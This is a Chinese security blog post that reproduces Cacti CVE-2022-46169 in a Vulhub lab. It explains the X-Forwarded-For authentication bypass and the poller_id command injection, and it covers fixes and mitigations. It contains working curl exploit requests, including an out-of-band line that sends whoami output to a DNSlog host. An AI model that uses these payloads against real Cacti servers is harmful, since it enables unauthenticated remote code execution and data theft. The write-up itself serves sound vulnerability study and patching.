Skip to content
Kurisu
Go back

Cacti CVE-2022-46169:认证绕过与命令注入复现

1. 漏洞概述

CVE-2022-46169(GHSA-6p93-p743-35gf)是 Cacti remote_agent.php 的未认证命令注入(Stefan Schiller、Steven Seeley 发现,2022-12 披露):无需账号、一个请求即可用 www-data 权限执行命令,野外常用来投递挖矿木马。

项目内容
CVECVE-2022-46169(GHSA-6p93-p743-35gf)
漏洞类型认证绕过 + 命令注入(未认证 RCE)
影响版本1.2.22 及更早(即 < 1.2.23)
修复版本1.2.23
CVSS9.8(Critical,NVD CVSS v3.1)
触发条件存在 action=2(POLLER_ACTION_SCRIPT_PHP)类型 poller_item 的数据源

⚠️ 版本坑:NVD 的 CPE 范围是 versionEndExcluding: 1.2.23,即 1.2.22 是最后一个受影响版本(“修复于 1.2.22”不准确)。1.2.22 与 1.2.16 的 remote_agent.php 逐字节相同,修复 commit 归入 1.2.23;Vulhub 镜像就是 1.2.22,照样能打。

2. 漏洞原理

两个独立缺陷组合,缺一不可:

  1. 认证绕过:“仅允许 poller 访问”的校验依赖 get_client_addr(),而它完全信任 HTTP 头,可伪造。
  2. 命令注入:polldata action 的 poller_id 未过滤,直接拼进 proc_open() 命令串。

先看认证部分(Cacti 1.2.16 lib/functions.php):

function get_client_addr($client_addr = false) {
    $http_addr_headers = array(
        'X-Forwarded-For',   // ← 排第一,最先被采用
        'X-Client-IP',
        'X-Real-IP',
        'X-ProxyUser-Ip',
        'CF-Connecting-IP',
        'True-Client-IP',
        'HTTP_X_FORWARDED',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'HTTP_CLIENT_IP',
        'REMOTE_ADDR',       // ← 真实来源地址反而排最后
    );

    $client_addr = false;
    foreach ($http_addr_headers as $header) {
        if (!empty($_SERVER[$header])) {
            $header_ips = explode(',', $_SERVER[$header]);
            foreach ($header_ips as $header_ip) {
                if (!empty($header_ip)) {
                    if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
                        ...
                    } else {
                        $client_addr = $header_ip;  // 第一个非空且合法的 IP 直接采用
                        break;
                    }
                }
            }
        }
    }
    return $client_addr;
}

remote_client_authorized() 把取到的 IP 反解成主机名,与 poller 表里的 poller 主机名比对;默认安装 poller 的 hostname 是 localhost,gethostbyaddr('127.0.0.1') 恰好返回它。

注入点(1.2.16/1.2.22 的 poll_for_data()):

$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id        = get_filter_request_var('host_id');
$poller_id      = get_nfilter_request_var('poller_id');  // ← 未过滤,原样取值

...
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
    if (function_exists('proc_open')) {
        $cactiphp = proc_open(read_config_option('path_php_binary')
            . ' -q ' . $config['base_path']
            . '/script_server.php realtime ' . $poller_id,   // ← 直接拼进命令
            $cactides, $pipes);
        ...
    }

proc_open() 的字符串形式走 /bin/sh -c,$poller_id 里的反引号、;、|、$() 都会被 shell 解释;而它来自 get_nfilter_request_var()——无过滤。

3. 认证绕过:X-Forwarded-For 头欺骗

get_client_addr() 遍历头列表”先到先得”,请求里带上:

X-Forwarded-For: 127.0.0.1

就返回 127.0.0.1(真实 REMOTE_ADDR 被无视,循环在 X-Forwarded-For 处 break),随后反解为 localhost 与 poller 表默认值匹配,认证通过;X-Forwarded-For: 127.0.0.1, 8.8.8.8 同样有效(只取第一个 IP)。

不带伪造头直接被拒:

# 无 X-Forwarded-For:认证被拒
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'
FATAL: You are not authorized to use this service

# 带上 X-Forwarded-For: 127.0.0.1:认证通过,返回 JSON
$ curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1' \
    -H 'X-Forwarded-For: 127.0.0.1'
[{"value":"U","rrd_name":"uptime","local_data_id":"6"}]

4. 命令注入 Payload

经典 PoC 来自 Vulhub,用反引号包裹命令(+ 会被解码为空格):

# 盲注验证:touch 一个文件
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
  -H 'X-Forwarded-For: 127.0.0.1'

注意:整条 URL 用单引号包裹,bash 不会执行反引号;query 里的空格用 + 编码,反引号无需编码。

执行 id / whoami 并回读(盲注,输出不在响应里,先落盘再从容器读):

# 执行 id,输出重定向到 /tmp/pwned(注意 > 后也要用 + 编码空格)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`id>+/tmp/pwned`' \
  -H 'X-Forwarded-For: 127.0.0.1'

# 在靶场容器里读取执行结果
docker exec $(docker compose ps -q web) cat /tmp/pwned
# 输出示例:uid=33(www-data) gid=33(www-data) groups=33(www-data)

;、|、$() 等同样可用。无回显时常用两种确认方式:写文件后二次读取(如上)或 DNSlog / OOB 外带:

curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`curl+http://your-dnslog.ceye.io/$(whoami)`' \
  -H 'X-Forwarded-For: 127.0.0.1'

5. 复现过程

5.1 起靶场(Vulhub)

git clone https://github.com/vulhub/vulhub.git
cd vulhub/cacti/CVE-2022-46169
docker compose up -d

Compose 里是 vulhub/cacti:1.2.22(含漏洞)+ mysql:5.7,Web 端口映射到本机 8080,访问后是 Cacti 登录页。

5.2 初始化 + 准备可利用的数据源

  1. 用默认账号 admin/admin 登录;
  2. 跟初始化向导 Next 到底,完成建库建表;
  3. 关键:新建图形、类型选 “Device - Uptime”(默认图形类型触发不了注入,必须有 POLLER_ACTION_SCRIPT_PHP 类型数据源)。

注入前提:host_id + local_data_ids 对应一条 action = 2(POLLER_ACTION_SCRIPT_PHP)的 poller_item。默认主机 host_id=1(Local Linux Machine),建 “Device - Uptime” 生成的数据源中 local_data_ids[0]=6 恰好命中。

不确定 ID 组合时,Metasploit 模块(exploit/linux/http/cacti_unauthenticated_cmd_injection)暴力枚举 host_id 15 × local_data_id 1100,响应为非空 JSON 数组(含 value / rrd_name / local_data_id 三键)即候选。

5.3 打

# 无 X-Forwarded-For → FATAL 拒绝(对照组)
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=1'

# 带 X-Forwarded-For → 命令注入执行 touch /tmp/success
curl -s 'http://127.0.0.1:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`' \
  -H 'X-Forwarded-For: 127.0.0.1'

# 容器内确认文件已创建
docker exec $(docker compose ps -q web) ls -l /tmp/success
# -rw-r--r-- 1 www-data www-data 0 ... /tmp/success

响应体看不到命令输出(Vulhub 原文 “Although no command result in the response”),但 /tmp/success 被 touch 出来了——盲注 RCE 成立;拿到 shell 后照常反弹、提权、横向。

6. 修复

6.1 升级版本(根治)

升级到 1.2.23 或更高。修复 commit(b43f13ae,2022-12-05 合入)改了三处:

  1. remote_agent.php:$poller_id 改用 get_filter_request_var() 做数字校验,proc_open() 前用 cacti_escapeshellarg($poller_id) 转义——注入点封死;
  2. run_remote_discovery() 的 network 参数同样加 cacti_escapeshellarg();
  3. get_client_addr() 重构,引入 $proxy_headers 配置项,不再无条件信任代理头。

6.2 收紧 get_client_addr(1.2.23+ 仍需手动配置)

升级后默认仍”信任所有已知代理头”(向后兼容,会打 WARNING 日志提示未来默认 false)。务必在 include/config.php 显式设置:

// false:只信任 REMOTE_ADDR(推荐)
// true:信任所有代理头(不推荐)
// 数组:仅信任列出的头,如 array('X-Forwarded-For')
$proxy_headers = false;

即使伪造 X-Forwarded-For 也只会返回 $_SERVER['REMOTE_ADDR'],认证绕过失效。

6.3 访问控制(纵深防御)

remote_agent.php 本是给 poller 调用的内部接口,应只对 poller 开放:

# Nginx 层限制:只允许 poller 服务器访问
location ~ ^/remote_agent\.php$ {
    allow 10.0.0.10;   # 替换为实际 poller 服务器 IP
    deny all;

    # 反代场景下统一覆盖伪造头,杜绝 XFF 注入
    proxy_set_header X-Forwarded-For $remote_addr;
}

网络层只放行 poller IP 访问 80/443。不要全局拦 X-Forwarded-For——反代/WAF 会合法附加该头;正确做法是应用只信任 REMOTE_ADDR(见 6.2)。

6.4 检测

小结

CVE-2022-46169 = “信任客户端可控头 + 危险函数未过滤参数”:X-Forwarded-For: 127.0.0.1 绕过 IP 弱认证,未转义的 poller_id 直达 proc_open(),拼出未认证 RCE。排查先看版本(1.2.22 及更早全中招),再看 $proxy_headers。


Share this post:

Previous Post
SSTI 模板注入:检测、利用与修复
Next Post
Vulnhub DC-1 完整渗透:从信息收集到提权